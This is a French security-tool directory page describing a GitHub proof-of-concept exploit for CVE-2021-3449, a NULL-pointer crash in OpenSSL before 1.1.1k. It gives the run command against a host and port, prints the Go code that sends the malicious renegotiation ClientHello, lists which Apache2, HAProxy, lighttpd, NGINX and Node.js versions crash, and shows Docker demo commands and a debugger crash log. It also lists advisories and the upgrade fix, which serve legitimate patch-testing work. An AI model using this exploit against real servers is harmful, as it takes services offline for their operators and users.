Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/riptl/cve-2021-3449
Analyse des VulnérabilitésExploitationSécurité WebTests d'Intrusion
GitHubriptl/cve-2021-3449

cve-2021-3449

CVE-2021-3449 exploit de déni de service OpenSSL 👨🏻‍💻

Voir le dépôt
2243718il y a 5 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Exploit DoS CVE-2021-3449 OpenSSL <1.1.1k

Utilisation : go run . -host hostname:port

Ce programme implémente un exploit de type preuve de concept de CVE-2021-3449 affectant les serveurs OpenSSL antérieurs à 1.1.1k si la renégociation sécurisée TLSv1.2 est acceptée.

Il se connecte à un serveur TLSv1.2 et initie immédiatement une « renégociation sécurisée » RFC 5746. L'attaque implique un ClientHello malveillant qui provoque le crash du serveur en causant un déréférencement de pointeur NULL (déni de service).

Références

  • Avis de sécurité OpenSSL
  • cve.mitre.org
  • Avis de sécurité Ubuntu (USN-4891-1)
  • Suivi de sécurité Debian
  • Entrée CVE Red Hat

Ce problème a été signalé à OpenSSL le 17 mars 2021 par Nokia. Le correctif a été développé par Peter Kästle et Samuel Sapalski de Nokia.

Atténuation

La seule correction connue consiste à mettre à jour libssl1.1.

Même si certaines applications utilisent par défaut des configurations TLS durcies qui désactivent la renégociation TLS, elles restent affectées par le bogue si elles exécutent une ancienne version d'OpenSSL.

Exploit

main.go est un petit script qui se connecte à un serveur TLS, force une renégociation, puis se déconnecte.

Le code de l'exploit a été injecté dans une version groupée du paquet encoding/tls de Go 1.14.15. Vous pouvez le trouver dans handshake_client.go:115. La logique est explicite.

// CVE-2021-3449 exploit code.
if hello.vers >= VersionTLS12 {
    if c.handshakes == 0 {
        println("sending initial ClientHello")
        hello.supportedSignatureAlgorithms = supportedSignatureAlgorithms
    } else {
        // OpenSSL pre-1.1.1k runs into a NULL-pointer dereference
        // if the supported_signature_algorithms extension is omitted,
        // but supported_signature_algorithms_cert is present.
        println("sending malicious ClientHello")
        hello.supportedSignatureAlgorithmsCert = supportedSignatureAlgorithms
    }
}

– @terorie

Démo

Le répertoire demo/ contient la configuration nécessaire pour patcher diverses applications avec une version vulnérable d'OpenSSL.

Procédure de test :

  • Télécharger et compiler localement la version vulnérable OpenSSL 1.1.1j
  • Préparer un conteneur cible Ubuntu 20.04 et y téléverser les bibliothèques OpenSSL
  • Installer l'application sur le conteneur cible
  • Démarrer le serveur et exécuter l'attaque

Prérequis :

  • OpenSSL (sur l'hôte)
  • build-essential (Perl, GCC, Make)
  • Docker

Remarque : Aucun des serveurs web listés n'est vulnérable à CVE-2021-3449 avec OpenSSL 1.1.1k ou une version ultérieure.

ServeurDistributionVersionDémoRésultat
OpenSSL s_server-1.1.1jmake demo-opensslPlantage
Apache2Ubuntu 18.042.4.29make demo-apache2Plantage partiel
HAProxyUbuntu 18.041.8.8make demo-haproxyPlantage
HAProxyUbuntu 20.042.0.13make demo-haproxyAucun effet
lighttpdUbuntu 18.041.4.55make demo-lighttpdPlantage
lighttpdUbuntu 20.041.4.55make demo-lighttpdPlantage
lighttpdUbuntu 21.041.4.59make demo-lighttpdAucun effet avec l'option de configuration
NGINXUbuntu 18.041.14.0make demo-nginxPlantage partiel
NGINXUbuntu 20.041.18.0make demo-nginxAucun effet
Node.js <=12Ubuntu 18.04Aucun effet
Node.js >12Ubuntu 18.04?make demo-nodejsPlantage
Node.js >12Ubuntu 18.0415.14.0make demo-nodejsAucun effet

Pour nettoyer toutes les ressources de la démo, exécutez make clean.

Serveur simple OpenSSL

openssl s_server est une implémentation minimale de serveur TLS.

  • make demo-openssl : Exécution complète (port 4433)
  • make -C demo build-openssl : Construire l'image Docker cible
  • make -C demo start-openssl : Démarrer la cible sur le port 4433
  • make -C demo stop-openssl : Arrêter la cible

Résultat : plantage complet du serveur.

Journaux

docker run -d -it --name cve-2021-3449-openssl --network host local/cve-2021-3449/openssl
a16c44f98a37b7e0c0777d3bd66456203de129fd23566d2141ef2bec9777be17
docker logs -f cve-2021-3449-openssl &
sleep 2
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Using default temp DH parameters
ACCEPT
sending initial ClientHello
connected
sending malicious ClientHello

[[truncated]]

Program received signal SIGSEGV, Segmentation fault.
0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#0  0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#1  0x00007f668bd893cd in tls1_set_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#2  0x00007f668bd89fe3 in tls1_process_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#3  0x00007f668bd8a110 in tls1_set_server_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#4  0x00007f668bd824a2 in tls_early_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#5  0x00007f668bd84d55 in tls_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#6  0x00007f668bd8522f in ossl_statem_server_post_process_message () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#7  0x00007f668bd710e1 in read_state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#8  0x00007f668bd7199d in state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#9  0x00007f668bd71c4e in ossl_statem_accept () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#10 0x00007f668bd493ab in ssl3_read_bytes () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#11 0x00007f668bd504ec in ssl3_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#12 0x00007f668bd50595 in ssl3_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#13 0x00007f668bd5ae5c in ssl_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#14 0x00007f668bd5af5b in SSL_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#15 0x000055aa5a10f209 in sv_body ()
#16 0x000055aa5a1302ec in do_server ()
#17 0x000055aa5a114815 in s_server_main ()
#18 0x000055aa5a0f9395 in do_cmd ()
#19 0x000055aa5a0f9ee1 in main ()
malicious handshake failed, exploit might have worked

Apache2 httpd

Le serveur web Apache2 httpd avec sa configuration par défaut est vulnérable.

  • make demo-apache : Exécution complète (port 443)
  • make -C demo build-apache : Construire l'image Docker cible
  • make -C demo start-apache : Démarrer la cible sur le port 443
  • make -C demo stop-apache : Arrêter la cible
Télécharger l’outil